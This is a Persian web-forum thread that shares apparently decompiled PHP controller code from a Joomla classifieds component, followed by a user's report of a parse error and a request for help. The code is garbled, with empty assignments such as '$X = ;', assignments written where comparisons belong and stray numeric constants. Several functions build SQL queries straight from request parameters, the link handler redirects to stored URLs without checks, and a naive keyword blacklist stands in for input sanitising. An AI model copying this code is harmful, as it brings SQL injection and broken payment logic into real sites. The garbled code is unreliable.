$fldPName = trim( JRequest::getvar( 'q', $T ) );
$fldPName = self::myquestfarsi( $fldPName );
$fldID = JRequest::getvar( 'v', $I );
$query = 'SELECT COUNT(fldPName) AS C FROM #__niaz_prod WHERE fldPName=\'' . $fldPName . '\' AND fldID <> ' . $fldID;
$db->setQuery( $query );
$total = intval( $db->loadResult( ) );


if (strlen( $T )) {
return $total;
}


echo $total;
}


function AjaxDelete() {
global $option;
global $my;
global $sectionState;
global $fldCountry;
global $option;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;
global $mosconfig_live_site;


$db = JFactory::getdbo( );
$X = JRequest::getvar( 'TID', null, 'POST' );
$id = (int)JRequest::getvar( 'id', 0, 'POST' );


if (is_null( $X )) {
echo 0;
exit( );
}




if (( !intval( $niaz_config->fldField28 ) || !$id )) {
echo 0;
exit( );
}


$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );
$row = $db->loadObject( );


if (count( $row )) {
self::reverseusecredit( $row, $db );
NiazController::deletefolder( 'prod' . DS . $row->fldDate, $row->fldID );
SendingMail( 5, $row );
$query = 'DELETE FROM #__niaz_key_index WHERE fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id . ' AND fldOwner = ' . $my->id;
$db->setQuery( $query );


if ($db->Query( )) {
NiazController::deletefolder( 'prod', $id );
}
}


$query = 'SELECT COUNT(*) FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );
$total = $db->loadResult( );
echo ($total ? 0 : 1);
exit( );
}


function Captcha() {
global $option;


$d1 = rand( 1, 9 );
$d = array( '*', '+', '-' );
$d3 = $d2 = $d[rand( 0, 2 )];


if (( $d2 = '-' && $d1 < $d3 )) {
$x = $d1;
$d1 = $d3;
$d3 = $x;
}


eval( '$d = ' . $d1 . $d2 . $d3 . ';' );
$RandomStr = md5( rand( 1111, 9999 ) );
strtoupper( substr( $RandomStr, 0, 5 ) );
$ResultStr = rand( 1, 9 );
$ResultStr = '' . $d1 . $d2 . $d3 . '=?';
$NewImage = imagecreatefromjpeg( JPATH_COMPONENT . DS . 'images' . DS . 'back.jpg' );
$LineColor = imagecolorallocate( $NewImage, 233, 239, 239 );
$TextColor = imagecolorallocate( $NewImage, 0, 0, 0 );
imageline( $NewImage, 1, 1, 40, 40, $LineColor );
imageline( $NewImage, 1, 100, 60, 0, $LineColor );
imagestring( $NewImage, 10, 10, 4, $ResultStr, $TextColor );
$_SESSION['captcha'] = $d;
header( 'Content-type: image/jpeg' );
imagejpeg( $NewImage );
exit( );
}


function link() {
global $option;
global $my;
global $mainframe;
global $app;
global $niaz_config;
global $mainframe;


$db = JFactory::getdbo( );
$id = JRequest::getvar( 'lid', 0 );
$query = 'SELECT fldLink FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1';
$db->setQuery( $query );
$fldLink = $db->loadResult( );


if (strlen( $fldLink )) {
$query = 'UPDATE #__niaz_prod SET fldCountClickLink = fldCountClickLink +1 WHERE fldID = ' . $id . ' AND published=1 AND fldShowLink = 1 ';
$db->setQuery( $query );
$db->query( );
header( 'Location: http://' . str_replace( 'http://', '', $fldLink ), 0 );
return null;
}


$this->setRedirect( $_SERVER['HTTP_REFERER'] );
}


function showup() {
global $option;
global $niaz_config;
global $my;


$db = JFactory::getdbo( );
$x = JRequest::getvar( 'x' );
$id = JRequest::getvar( 'id' );
$query = 'SELECT * FROM #__niaz_prod WHERE fldID = ' . $id . ' AND published=0';
$db->setQuery( $query );
$row = $db->loadObject( );


if (!count( $row )) {
return null;
}


md5( $id . $row->fldDate . 'P' );
$X = ;
md5( $id . $row->fldDate . 'D' );
$Y = ;
JHTML::_( 'date', 'now', 'Y/m/d' );
$Date = ;
$query = 'SELECT fldTafavot FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$fldTafavot = $db->loadResult( );
$query = 'DELETE FROM #__niaz_usecredit WHERE fldTafavot = ' . $fldTafavot . ' AND fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );


if ($x = $X) {
if (intval( $fldTafavot )) {
$query = 'UPDATE #__niaz_credit_users SET fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}


$A = 'published=1,fldStartTime=NOW(),fldAdmin=' . $my->id;


if (( ( $row->fldPayMethod && $row->fldPay = 2 ) && $row->fldMoney )) {
$A = 'published=1,fldStartTime=NOW(),fldPay = 1,fldAdmin=' . $my->id;
}


$query = 'UPDATE #__niaz_prod SET ' . $A . ' WHERE fldID=' . $id;
$db->setQuery( $query );


if ($db->Query( )) {
if (( $row->fldPay != 1 && 0 < $row->fldMoney )) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment WHERE fldPName= \'' . $row->fldPName . '\' AND fldPayMethod = \'' . $row->fldPayMethod . '\' AND fldOrderNumber = \'' . $row->fldOrderNumber . '\'';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );


if (!$fldFactor) {
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) );
}


++$fldFactor;
JText::_( 'ACCEPT_MODIR' );
$fldDesc = ;
$fldDescX = $fldDesc;
$fldCredit = 736;


if (intval( $fldTafavot )) {
$fldDescX = $fldDesc . '(' . JText::sprintf( 'KASR_ETEBAR', Comma( $fldTafavot ) . ' ' . $niaz_config->fldCurrency ) . ')';
$row += 'fldMoney';
= $fldTafavot;
$fldCredit = $fldTafavot;
}


$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $row->fldPName . '\',\'' . $row->fldPayMethod . '\',\'' . $row->fldOrderNumber . '\',' . $row->fldMoney . ',' . $fldCredit . ',' . $row->fldOwner . ',\'' . $fldDescX . '\',\'' . $row->fldPayDate . '\',' . $fldFactor . ')';
$db->setQuery( $query );
$db->Query( );
}


echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_PUBLISHED' ) . '</strong></div>';
SendingMail( 3, array( 'fldID' => $row->fldID, 'fldEMAil' => $row->fldEMAil, 'fldStartTime' => $Date, 'fldPName' => $row->fldPName ) );
return null;
}
}
else {
if ($x = $Y) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $fldTafavot . ',fldTafavot = fldTafavot - ' . $fldTafavot . ' WHERE fldUID = ' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
JText::_( 'REVERSE_CREDIT_2' );
$fldDesc = ;
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $id . ',\'' . $row->fldPName . '\',\'return\',\'\',-' . $fldTafavot . ',0,' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
$query = 'DELETE FROM #__niaz_prod WHERE fldID=' . $id;
$db->setQuery( $query );


if ($db->Query( )) {
echo '<div><strong>' . JText::_( 'NIAZ_ACTIVATE_DELETED' ) . '</strong></div>';
NiazController::deletefolder( 'prod', $id );
SendingMail( 5, $row );
}
}
}


}


function DeleteFolder($table, $id) {
global $option;


jimport( 'joomla.filesystem.file' );
jimport( 'joomla.filesystem.folder' );
$destfolder = JPATH_ROOT . DS . 'components' . DS . ( '' . $option ) . DS . 'files' . DS . $table . DS . $id;


if (is_dir( $destfolder )) {
JFolder::delete( $destfolder );
}


}


function ShowEdit() {
global $option;
global $niaz_config;


if (!strlen( $niaz_config->fldField59 )) {
return '';
}


$U = ($niaz_config->fldField59 ? explode( '*', $niaz_config->fldField59 ) : NULL);
echo ' <table width="100%" id="adminlist" class="adminlist" border="1">
<thead>
<tr>
<th>#</th>
<th>';
echo JText::_( 'NIAZ_EDIT_COUNT' );
echo '</th>
<th>';
echo JText::_( 'NIAZ_ADMIN_FEE' );
echo '(';
echo $niaz_config->fldCurrency;
echo ')</th>
</tr>
</thead>
<tbody>
';
$it = 360;
$x = 360;


while ($x < count( $U )) {
$D = explode( ':', $U[$x] );
echo ' <tr class="';
echo 'row' . ++$it & 2;
echo '">
<td>';
echo $it;
echo '</td>
<td>';
echo $D[0];
echo '</td>
<td>';
echo ($D[1] ? $D[1] : '<font class="red"><strong> ' . JText::_( 'NIAZ_FREE' ) . ' </strong></font>');
echo '</td>
</tr>
';
++$x;
}


echo ' </tbody>
</table>
';
}


function MyQuestFarsi($str) {
$str = str_replace( 'ي', 'ی', $str );
$str = str_replace( 'ك', 'ک', $str );
$str = str_replace( 'هٔ', 'ه‌ی', $str );
$str = str_replace( '\\', '', $str );
return $str;
}


function CleanSQL($where) {
$forbidden = array( 'UNION', 'SELECT', 'DELETE', 'ALTER', 'JOIN', 'DROP', 'TRUNCATE', 'UPDATE', 'CREATE' );
foreach ($forbidden as $v) {
$A = strpos( strtoupper( $where ), $v );


if ($A) {
$B = substr( $where, $A, strlen( $v ) );
$where = str_replace( $B, 'XXXXX', $where );
continue;
}
}


return $where;
}


function UpdateUseCredit($rows, $paymethod, $order_number, $db) {
global $my;


$query = 'SELECT fldTafavot,fldCredit FROM #__niaz_credit_users WHERE fldUID= ' . $my->id;
$db->setQuery( $query );
$rowx = $db->loadObject( );


if (!count( $rowx )) {
return null;
}


$fldCredit = $rowx->fldCredit;
foreach ($rows as $row) {
$fldTafavot = $fldCredit;


if ($row->fldMoney < $fldCredit) {
$fldTafavot = $row->fldMoney;
}


$query = 'SELECT COUNT(*) FROM #__niaz_usecredit WHERE fldPID = ' . $row->fldID . ' AND fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$IsHere = $db->loadResult( );


if (!$IsHere) {
$query = 'UPDATE #__niaz_credit_users' . ( '
SET fldTafavot = fldTafavot+' . $fldTafavot . ',fldCredit=fldCredit-' . $fldTafavot ) . ( '
WHERE fldUID = ' . $my->id );
$db->setQuery( $query );
$db->query( );


if ($fldTafavot) {
$query = 'INSERT INTO #__niaz_usecredit (fldTafavot,fldPID,fldUID) VALUES (' . $fldTafavot . ',' . $row->fldID . ',' . $row->fldOwner . ')';
$db->setQuery( $query );
$db->Query( );
}


$query = 'UPDATE #__niaz_prod' . ( '
SET fldOrderNumber = \'' . $order_number . '\' , fldPayMethod = \'' . $paymethod . '\',fldTafavot = ' . $fldTafavot ) . ( '
WHERE fldID = ' . $row->fldID . ' AND fldPay!=1 ' );
$db->setQuery( $query );
$db->query( );
}


$fldCredit += $row->fldMoney;


if ($fldCredit < 0) {
$fldCredit = 432;
continue;
}
}


}


function ReverseUseCredit($row, $db) {
global $option;
global $niaz_config;


$query = 'DELETE FROM #__niaz_usecredit WHERE fldUID=' . $row->fldOwner . ' AND fldPID = ' . $row->fldID;
$db->setQuery( $query );
$db->Query( );


if (( ( is_null( $row->fldStartTime ) && $row->fldMoney ) && $row->fldPay = 1 )) {
$PName = $row->fldPName;
$total = $row->fldMoney;
$query = 'SELECT MAX(fldFactor) FROM #__niaz_payment';
$db->setQuery( $query );
$fldFactor = intval( $db->loadResult( ) ) & 1;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}


$credit = 519;


if ($row->fldPayMethod = 'etebar') {
$credit = $total;
}


$fldDesc = JText::sprintf( 'REVERSE_CREDIT_3', $PName ) . '#::#' . JText::sprintf( 'REVERSE_CREDIT_4', Comma( $row->fldMoney ), $niaz_config->fldCurrency );
$query = 'INSERT INTO #__niaz_payment VALUES(0,' . $row->fldID . ',\'' . $PName . '\',\'return\',\'\',-' . $total . ',' . $credit . ',' . $row->fldOwner . ',\'' . $fldDesc . '\',NOW(),' . $fldFactor . ');';
$db->setQuery( $query );
$db->Query( );
}
else {
if (( is_null( $row->fldStartTime ) && $row->fldTafavot )) {
$PName = $row->fldPName;
$total = $row->fldTafavot;
$query = 'INSERT INTO #__niaz_credit_users (fldCredit,fldUID) VALUES (' . $total . ',' . $row->fldOwner . ')';
$db->setQuery( $query );


if (!$db->Query( )) {
$query = 'UPDATE #__niaz_credit_users SET fldCredit=fldCredit+' . $total . ',fldTafavot=IF(fldTafavot-' . $total . '>=0,fldTafavot-' . $total . ',fldTafavot) WHERE fldUID=' . $row->fldOwner;
$db->setQuery( $query );
$db->Query( );
}
}
}


$query = 'UPDATE #__niaz_prod SET `fldPayMethod`=\'\',fldTafavot=0 WHERE fldID=' . $row->fldID;
$db->setQuery( $query );
$db->Query( );
}


function LoadUserStyle($type, $file) {
global $option;


$no_html = JRequest::getvar( 'no_html', 0 );


if ($no_html) {
return null;
}


$tmpl = JRequest::getvar( 'tmpl', '' );


if ($tmpl = 'component') {
$no_html = 395;
}


switch ($no_html) {
case 0: {
$document = JFactory::getdocument( );
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
$document->addScript( $js );
break;
}


case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
$document->addStyleSheet( $css );
}
}


break;
}


case 1: {
switch ($type) {
case 'js': {
$js = JURI::base( ) . ( 'components/' . $option . '/js/' . $file );
echo '<script src="' . $js . '" type="text/javascript"></script>';
break;
}


case 'css': {
$css = JURI::base( ) . ( 'components/' . $option . '/css/' . $file );
echo '<link rel="stylesheet" href="' . $css . '" type="text/css" />';
}
}
}
}


}


function SaveCookie($content = '') {
global $option;
global $mainframe;


$content &= '
';


if (is_dir( JPATH_SITE . DS . 'mytemp' )) {
$f = fopen( JPATH_SITE . DS . 'mytemp' . DS . 'SQL_' . date( 'Y-m-d-H-i' ) . '.txt', 'a+' );
fwrite( $f, $content, strlen( $content ) );
fclose( $f );
}


}


function LoadCurrentCredit() {
echo LoadCredit( );
}
}


?>
بفرمایید

aminamin
July 22nd, 2014, 23:30
اين خطا را ميده

Parse error: syntax error, unexpected '(', expecting T_STRING or T_VARIABLE or '$' in /home/hoghough/public_html/agahi/components/com_niaz/controller.php on line 13

- - - Updated - - -

سلام

دوستان كسي متوجه مشكل كار نشد؟